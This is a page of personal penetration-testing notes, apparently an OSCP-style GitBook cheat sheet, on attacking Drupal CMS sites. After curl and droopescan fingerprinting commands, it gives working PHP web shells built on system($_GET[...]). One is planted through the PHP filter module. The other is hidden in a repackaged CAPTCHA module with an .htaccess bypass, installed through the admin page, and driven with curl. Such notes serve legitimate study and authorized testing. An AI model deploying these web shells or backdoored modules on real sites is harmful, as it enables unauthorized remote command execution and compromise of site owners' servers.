📚
Notes
  • Welcome
    • Intro
    • My OSCP Exam Adventure
  • Security Blogs
    • Initial Access 101
      • Spring Cloud Function CVE-2022-22963
    • Bug Hunting
      • XSS
        • Blog site search field
  • Active Directory
    • Tools
    • Common built-in AD groups
    • Identifying Users
    • LLMNR/NBT-NS Poisoning
    • Password Spraying
      • Enumerating & Retrieving Password Policies
      • Making a Target User list
      • Internal Password Spraying - from Linux
      • Internal Password Spraying - from Windows
    • Credentialed Enumeration
      • Linux
      • Windows
      • Living Off the Land
    • Kerberoasting
      • Linux
      • Windows
    • ACL
      • Enumeration
      • Abusing ACLs
      • DCSync
    • Privileged Access
    • AS-REP Roasting
    • Attacking Trusts
      • Enumerating Trust Relationships
      • Child -> Parent Trusts
      • Cross-Forest Trust Abuse
  • Enumeration
    • SMB, RPC - 137,138,139,445,111
    • MYSQL - 3306
    • MSSQl - 1433
    • FTP - 21
    • RPC - 111
    • DNS - 53
    • NFS - 2049
    • SMTP - 25
    • IMAP, POP3 - 110,143,993,995
    • SNMP - 161
    • SVN - 3690
    • IRC - 8067
    • Oracle TNS - 1521
    • LDAP
    • Linux Remote Management Protocols
    • Windows Remote Management Protocols
    • Fuzzing
    • IPMI - 623(UDP)
  • Common Applications
    • Application Enumeration
    • CMS (Content Management System)
      • Wordpress
      • Joomla
      • Drupal
    • Servlet Containers/Software Development
      • Tomcat
      • Jenkins
    • Customer Service Mgmt & Configuration Management
      • Gitlab
  • Shells
    • Reverse Shells
    • Bind Shells
    • Spawning a TTY Shell
    • Web Shells
  • Privilege Escalation
    • Other Resources
    • Linux PrivEsc
    • Windows PrivEsc
      • Windows Users Privileges
      • Information Gatthering & Enumeration
      • Privilege Escalation Techniques
  • File Transfers
    • Quick Cheatsheet
    • Windows File Transfer
    • Linux File Transfer
  • Password Attacks
    • Linux Local Password Attacks
      • Credential Hunting in Linux
      • Passwd, Shadow & Opasswd
    • Windows Local Password Attacks
      • Attacking SAM
      • Attacking LSASS
      • Attacking Active Directory & NTDS.dit
      • Credential Hunting in Windows
    • Pass-the-Hash (PtH)
    • Cracking Files
    • Remote Password Attacks
  • SIde Notes
    • Pivoting, Tunneling, and Port Forwarding
    • File Encryption
  • Programming
    • Downloading Files
Powered by GitBook
On this page
  • Footprinting and Enumeration
  • Droopscan
  • Attacking Drupal
  • Code Execution
  • Uploading a Backdoored Module
  1. Common Applications
  2. CMS (Content Management System)

Drupal

Footprinting and Enumeration

# Confirming site is running Drupal
curl -s <http://drupalsite.local> | grep Drupal

# Find Version 
curl -s <http://drupalsite.local/CHANGELOG.txt> | grep -m2 ""

Droopscan

# Normal scan with droopscan
droopescan scan drupal -u <http://drupalsite.local>

Attacking Drupal

Code Execution

# FOR UPTO VERSION 8, from version 8 onwards, php filter module is not installed by default, We can install PHP filter module ourselves 
# We can get code execution by writing php web shell into php filter module 
# md5 Encoded parameter for cmd in php web shell
<?php
system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);
?>

# Executing commands using curl
curl -s <http://drupalsite.local/node/3?dcfdd5e021a869fcc6dfaef8bf31377e=id> | grep uid | cut -f4 -d">"

Uploading a Backdoored Module

# Download any module from drupal site like CAPTCHA 
wget --no-check-certificate  <https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz>
tar xvf captcha-8.x-1.2.tar.gz

# Create a PHP web shell with the contents:
<?php
system($_GET[fe8edbabc5c5c9b7b764504cd22b17af]);
?>

# Next, we need to create a .htaccess file to give ourselves access to the folder. This is necessary as Drupal denies direct access to the /modules folder.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>

# Copy both of these files to the captcha folder and create an archive.
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/

# Install the module on page : <http://drupal.inlanefreight.local/admin/modules/install>
# After successful installation, , browse to /modules/captcha/shell.php to execute commands.

curl -s drupalsite.local/modules/captcha/shell.php?fe8edbabc5c5c9b7b764504cd22b17af=id
PreviousJoomlaNextServlet Containers/Software Development

Last updated 2 years ago